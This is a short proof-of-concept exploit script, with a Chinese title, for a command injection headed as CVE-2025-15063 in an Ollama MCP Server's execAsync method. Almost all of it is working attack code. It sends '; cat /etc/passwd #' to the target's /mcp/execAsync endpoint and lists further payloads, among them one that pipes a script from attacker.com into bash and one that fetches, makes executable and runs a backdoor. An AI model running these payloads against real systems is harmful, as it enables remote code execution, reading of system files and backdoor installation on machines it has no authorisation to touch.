CVE-2025-15063 Ollama MCP Server execAsync命令注入远程代码执行漏洞

# CVE-2025-15063 PoC - Ollama MCP Server Command Injection # Target: Ollama MCP Server with vulnerable execAsync method import json import requests TARGET = "http://target:11434" def exploit_cve_2025_15063(): """ Exploit for CVE-2025-15063: Ollama MCP Server execAsync Command Injection This PoC demonstrates how attacker-supplied input is not properly validated before being used in system calls. """ # Malicious payload to achieve RCE via command injection payload = { "method": "execAsync", "params": { "command": "; cat /etc/passwd #" # Command injection payload } } try: response = requests.post( f"{TARGET}/mcp/execAsync", json=payload, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") def generate_shell_payload(): """Generate various command injection payloads""" payloads = [ "; id > /tmp/pwned #", # Basic injection "| cat /etc/passwd #", # Pipe-based injection "`whoami`", # Command substitution "$(curl http://attacker.com/shell.sh | bash)", # Remote code download "&& wget http://attacker.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor" ] return payloads if __name__ == "__main__": print("[*] CVE-2025-15063 PoC - Ollama MCP Server RCE") print("[*] Target must be running Ollama MCP Server") exploit_cve_2025_15063()